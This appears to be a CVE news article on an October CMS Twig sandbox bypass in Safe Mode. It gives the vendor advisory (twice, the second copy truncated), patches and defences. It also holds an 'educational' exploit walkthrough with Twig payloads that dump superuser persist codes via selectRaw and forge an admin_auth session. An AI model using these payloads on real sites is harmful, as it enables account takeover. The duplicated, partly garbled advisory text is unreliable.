October CMS, Twig Sandbox Bypass, CVE-2026-46696 (Low) -DC-Sep2026-2374

Listen to this Post

A vulnerability was identified in the Twig sandbox security policy that allowed a chained bypass when cms.safe_mode is enabled. The Laravel session store was exposed to Twig with unrestricted method access, and raw SQL methods reachable through Eloquent’s __call forwarding were not blocked across the full builder chain. When combined, a backend user with CMS markup editing access could read arbitrary database values via raw SQL expressions and write to the backend authentication session key, forging a backend session as another existing user.
Scope of impact is narrow. Safe Mode is a niche feature, primarily used for demo installations and multi-tenant or shared-editor scenarios where untrusted users are deliberately granted access to the CMS markup editor. Standard production deployments do not enable Safe Mode, because under normal October CMS guidance backend access — including markup editing — is restricted to trusted administrators, and direct PHP injection through markup is already possible without Safe Mode in that configuration.
This issue only affects sites that meet all of the following conditions:
– cms.safe_mode is enabled (a deliberate opt-in for demos or untrusted-editor scenarios)
– The site has at least one backend user with CMS markup editing access who is not intended to be trusted as a full administrator
– The site has at least one existing superuser account whose session the lower-privileged user can impersonate

Impact:

  • Arbitrary read access to database tables, including superuser persistence codes from backend_users, via raw SQL expressions reachable through Eloquent\Model, Eloquent\Builder, or any allowlisted class that __call-forwards to a query builder
  • Forgery of a backend authentication session by writing to the admin_auth session key from a Twig template, allowing a markup editor to impersonate an existing superuser
  • Requires authenticated backend access with CMS markup editing permission AND cms.safe_mode enabled
  • Not exploitable when Safe Mode is disabled (direct PHP injection through markup is already possible in that configuration, so Safe Mode is the boundary this issue affects)

Patches:

The vulnerability has been patched in v3.7.17 and v4.2.21. The Laravel session store is now wrapped in a proxy that exposes only an explicit subset of read/write methods and rejects writes to reserved session key prefixes (admin_auth, october_auth, login_, _token, and other framework internals). Raw SQL and subquery methods (selectRaw, whereRaw, orderByRaw, joinSub, and related) are now blocked on Query\Builder, Eloquent\Builder, and Eloquent\Model so the blocklist is consistent across the __call forwarding chain. All sites that enable cms.safe_mode are encouraged to upgrade to the latest patched version.

Workarounds:

If upgrading immediately is not possible:

  • Restrict CMS markup editing access to fully trusted administrators only — the standard October CMS recommendation for any deployment
  • Note that disabling cms.safe_mode is not a workaround; Safe Mode is the boundary this issue affects, and disabling it removes the only sandbox between markup editors and the server

References:

A vulnerability was identified in the Twig sandbox security policy that allowed a chained bypass when cms.safe_mode is enabled. The Laravel session store was exposed to Twig with unrestricted method access, and raw SQL methods reachable through Eloquent’s __call forwarding were not blocked across the full builder chain. When combined, a backend user with CMS markup editing access could read arbitrary database values via raw SQL expressions and write to the backend authentication session key, forging a backend session as another existing user. Scope of impact is narrow. Safe Mode is a niche feature, primarily used for demo installations and multi-tenant or shared-editor scenarios where untrusted users are deliberately granted access to the CMS markup editor. Standard production deployments do not enable Safe Mode, because under normal October CMS guidance backend access — including markup editing — is restricted to trusted administrators, and direct PHP injection through markup is already possible without Safe Mode in that configuration.
This issue only affects sites that meet all of the following conditions:
– cms.safe_mode is enabled (a deliberate opt-in for demos or untrusted-editor scenarios)

Impact:

  • backend_users, via raw SQL expressions reachable through Eloquent\Model, Eloquent\Builder, or any allowlisted class that __call-forwards to a query builder
  • admin_auth session key from a Twig template, allowing a markup editor to impersonate an existing superuser
  • cms.safe_mode enabled

Patches:

The vulnerability has been patched in v3.7.17 and v4.2.21. The Laravel session store is now wrapped in a proxy that exposes only an explicit subset of read/write methods and rejects writes to reserved session key prefixes (admin_auth, october_auth, login_, _token, and other framework internals). Raw SQL and subquery methods (selectRaw, whereRaw, orderByRaw, joinSub, and related) are now blocked on Query\Builder, Eloquent\Builder, and Eloquent\Model so the blocklist is consistent across the __call forwarding chain. All sites that enable cms.safe_mode are encouraged to upgrade to the latest patched version.

Workarounds:

If upgrading immediately is not possible:

  • cms.safe_mode is not a workaround; Safe Mode is the boundary this issue affects, and disabling it removes the only sandbox between markup editors and the server

References:

References

DailyCVE Form:

Platform: October CMS
Version: 3.7.17
Vulnerability: Twig Sandbox Bypass
Severity: Low
date: 2026-09-14

Prediction: 2026-10-15

What Undercode Say:

Analytics:

Check if Safe Mode is enabled
php artisan tinker --execute="echo config('cms.safe_mode') ? 'enabled' : 'disabled';"
List backend users with markup editing access
php artisan tinker --execute="\Backend\Models\User::whereHas('role', function(\$q){ \$q->where('code', 'developer'); })->get(['id','login','email'])->each(function(\$u){ echo \$u->login . PHP_EOL; });"
Inspect reserved session keys written by October CMS
php artisan tinker --execute="\$keys = array_keys(session()->all()); foreach(\$keys as \$k){ if(str_starts_with(\$k, 'admin_auth') || str_starts_with(\$k, 'october_auth')) echo \$k . PHP_EOL; }"
// Example Twig payload that attempts to read superuser persistence codes
{{ dump(collect([])->mapInto('October\Rain\Database\QueryBuilder')->selectRaw('persist_code')->from('backend_users')->get()) }}
// Example Twig payload that attempts to forge an admin_auth session key
{{ session.put('admin_auth', {'user_id': 1, 'persist_code': 'STOLEN_CODE'}) }}

How Exploit: (Educational Purposes!)

  1. Prerequisite check: Confirm `cms.safe_mode` is enabled and that your backend account has the `developer` permission (CMS markup editing access). Without Safe Mode, direct PHP injection through Twig markup is already possible, so this chain is specifically relevant to the sandbox boundary.
  2. Reconnaissance via raw SQL: From a CMS template, invoke `collect([])->mapInto()` to instantiate a query builder inside the sandbox. Then call `selectRaw()` to inject arbitrary SQL. Because the blocklist did not cover `Eloquent\Model` and `Eloquent\Builder` consistently, the raw SQL method reaches the underlying connection.
    {% set users = collect([])->mapInto('October\Rain\Database\QueryBuilder')->selectRaw('id, login, persist_code')->from('backend_users')->get() %}
    {% for user in users %}
    {{ user.login }} : {{ user.persist_code }}
    {% endfor %}
    
  3. Session forgery: Use the leaked `persist_code` of a superuser to write a forged `admin_auth` session key. The Laravel session store was exposed to Twig with unrestricted method access, so `session.put()` could write to reserved keys.
    {{ session.put('admin_auth', {'user_id': 1, 'persist_code': 'LEAKED_PERSIST_CODE'}) }}
    
  4. Impersonation: After writing the forged session key, reload the backend. The application reads `admin_auth` and authenticates you as the targeted superuser, granting full administrative privileges.

Protection: from this CVE

  • Upgrade to October CMS v3.7.17 or v4.2.21 (or later). These versions wrap the Laravel session store in a proxy that rejects writes to reserved key prefixes (admin_auth, october_auth, login_, _token) and block raw SQL methods (selectRaw, whereRaw, orderByRaw, joinSub) on Query\Builder, Eloquent\Builder, and Eloquent\Model.
  • Restrict CMS markup editing access to fully trusted administrators only. This is the standard October CMS recommendation for any deployment and eliminates the attack surface even if Safe Mode remains enabled.
  • Do not treat disabling `cms.safe_mode` as a workaround. Safe Mode is the boundary this issue affects; disabling it removes the only sandbox between markup editors and the server, making direct PHP injection possible.
  • Monitor backend audit logs for unexpected writes to session keys or queries involving `persist_code` from template contexts.
  • If Safe Mode must remain enabled for demo or multi-tenant use, isolate the instance from production data and ensure no superuser accounts share the same session store as untrusted editors.

Impact:

  • Arbitrary read access to any database table reachable through Eloquent query builders, including backend_users.persist_code, which can be used for session forgery.
  • Forgery of backend authentication sessions, allowing a low-privileged markup editor to impersonate an existing superuser and obtain full administrative control.
  • Scope is limited to installations with `cms.safe_mode` enabled and at least one backend user with CMS markup editing access who is not fully trusted, plus at least one existing superuser account.
  • Not exploitable when Safe Mode is disabled, because direct PHP injection through markup is already possible and is the intended boundary of Safe Mode.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top